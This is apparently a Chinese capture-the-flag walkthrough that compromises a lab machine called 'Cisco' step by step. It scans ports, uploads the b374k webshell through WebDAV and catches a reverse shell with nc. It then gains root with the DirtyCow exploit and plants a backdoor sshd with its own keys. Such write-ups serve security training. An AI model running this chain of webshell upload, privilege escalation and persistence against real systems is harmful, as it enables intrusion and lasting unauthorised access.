导语:“Cisco”这台机器的IP地址是10.42.0.150 如果我们使用nmap执行基本扫描,我们可以找到以下服务 $ nmap -sV 10.42.0.150 22/tcp    open  ssh     OpenSSH 5.

“Cisco”这台机器的IP地址是10.42.0.150

如果我们使用nmap执行基本扫描,我们可以找到以下服务

$ nmap -sV 10.42.0.150
22/tcp    open  ssh     OpenSSH 5.5p1 Debian 6+squeeze5 (protocol 2.0)
5000/tcp  open  http    nginx 0.7.67
8081/tcp  open  http    Apache httpd 2.2.16

这些Web服务没有初始页面,所以我们必须使用模糊测试工具来爆破隐藏的目录或文件。

image.png

image.png

要找到易受攻击的服务,我们必须执行更广泛的端口扫描

$ nmap -sV -p- 10.42.0.150
15200/tcp open  http    Apache httpd 2.2.16

同样,在第一次访问时,它返回一个403错误,所以我们也可以用dirb或wfuzz查找隐藏的文件。

$ dirb ---- Scanning URL: http://10.42.0.150:15200/ ----
+ http://10.42.0.150:15200/server-status (CODE:403|SIZE:295)                                                                                                                                                                                                 
==> DIRECTORY: http://10.42.0.150:15200/upload/                                                                                                                                                                                                              
==> DIRECTORY: http://10.42.0.150:15200/webdav/

webdav目录的存在已经可以帮助我们尝试上传文件。尽管这不是唯一能够得出这个结论的方法。我们可以通过OPTIONS请求或者通过使用Nikto漏洞扫描工具来获取允许的HTTP方法列表。

$ curl -I -X OPTIONS 10.42.0.150:15200  
HTTP/1.1 200 OK 
Date: Fri, 26 Jan 2018 11:29:49 GMT 
Server: Apache/2.2.16 (Debian) 
DAV: 1,2 
DAV: <http://apache.org/dav/propset/fs/1> 
MS-Author-Via: DAV 
Allow: OPTIONS,GET,HEAD,POST,DELETE,TRACE,PROPFIND,PROPPATCH,COPY,MOVE,LOCK,UNLOCK
$ nikto -host http://10.42.0.150:15200
...
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST, DELETE, TRACE, PROPFIND, PROPPATCH, COPY, MOVE, LOCK, UNLOCK 
+ OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ OSVDB-5647: HTTP method ('Allow' Header): 'MOVE' may allow clients to change file locations on the web server.
+ WebDAV enabled (COPY PROPPATCH LOCK PROPFIND UNLOCK listed as allowed)

要上传我们最喜爱的webshell,我们可以使用cadaver工具。在这里我使用了 b374k  这个webshell;)

$ cadaver dav:/webdav/> put b374k.php
Uploading b374k.php to '/webdav/b374k.php':
Progress: [=============================>] 100.0% of 74132 bytes succeeded.

我们使用webshell来反弹获得一个shell。

image.png

$ nc -nlvp 8080
connect to [10.42.0.201] from (UNKNOWN) [10.42.0.150] 58959
b374k shell : connected
/>whoami
www-data
/>find / -name *flag* 2>/dev/null
/home/bob/flag.txt
/>cat /home/bob/flag.txt
cat: /home/bob/flag.txt: Permission denied

显然,我们应该以用户bob的身份访问flag.txt文件。

要作为bob这个用户访问falg文件,有一种方法是使用bob:bob的ssh服务中的凭证。虽然我用了不同的方法。

我使用了另一个更为简单的方法,直接提升权限。使用DirtyCow直接提权到root用户的权限。在https://gist.github.com/KrE80r/42f8629577db95782d5e4f609f437a54这里有一个包含多个漏洞的列表,其中我们选择使用32位版本的c0w.c这个Exp。

/tmp>gcc -pthread c0w.c  -o c0w
/tmp>./c0w
                                
   (___)
   (o o)_____/
    @@ `     \
     \ ____, //usr/bin/passwd
     //    //
    ^^    ^^
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap b765d000
madvise 0

/tmp>passwd
whoami
root
cat /home/bob/flag.txt
Flag{8f9f...}
cat /root/flag.txt
Flag{59bk...}

通过ssh与www-data用户交互访问

虽然要实现这个目的没有必要获得一个完全交互的shell,但是我想尝试通过一个自定义配置来提高ssh服务。要求是www-data用户允许登录,并有一个正确的目录来上传密钥文件。

$ find / -user www-data -type d -ls 2>/dev/null | grep -v '/proc/'
209688    4 drwxr-xr-x   4 www-data www-data     4096 Jan 26 16:05 /var/cache/apache2
209689    4 drwxr-xr-x   2 www-data www-data     4096 Jan 28  2014 /var/cache/apache2/mod_disk_cache
210213    4 drwxr-xr-x   2 www-data root         4096 Jan 22 21:15 /var/lock/apache2
297282    4 drwx------   2 www-data www-data     4096 Jan 22 22:41 /tmp/vmware-www-data
cd /var/cache/apache2
mkdir -v ssh
chmod 700 ssh
cd ssh
echo '-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvDarg8hPv45FHxzZslEnEkCQrzHEcKzWJRndIX7haJikqFLC
...
UeUfZQIy4G2nvfoAldyfi16WQz08J3jWxJDVrZUjpsNR33DawVs5
-----END RSA PRIVATE KEY-----' > ssh_host_rsa_key
chmod 600 ssh_host_rsa_key
echo 'ssh-rsa AAAAB3Nz...xOyv' > authorized_keys
chmod 600 authorized_keys
 
# Launch SSH server
/usr/sbin/sshd -D -p 2222 -o "PermitRootLogin yes" -o "AuthorizedKeysFile /var/cache/apache2/ssh/authorized_keys" -o "UsePrivilegeSeparation no" -o "HostKey /var/cache/apache2/ssh/ssh_host_rsa_key" -o "RSAAuthentication yes" -o "PubkeyAuthentication yes" -d
$ ssh [email protected] -p 2222

image.png

源链接

Hacking more

...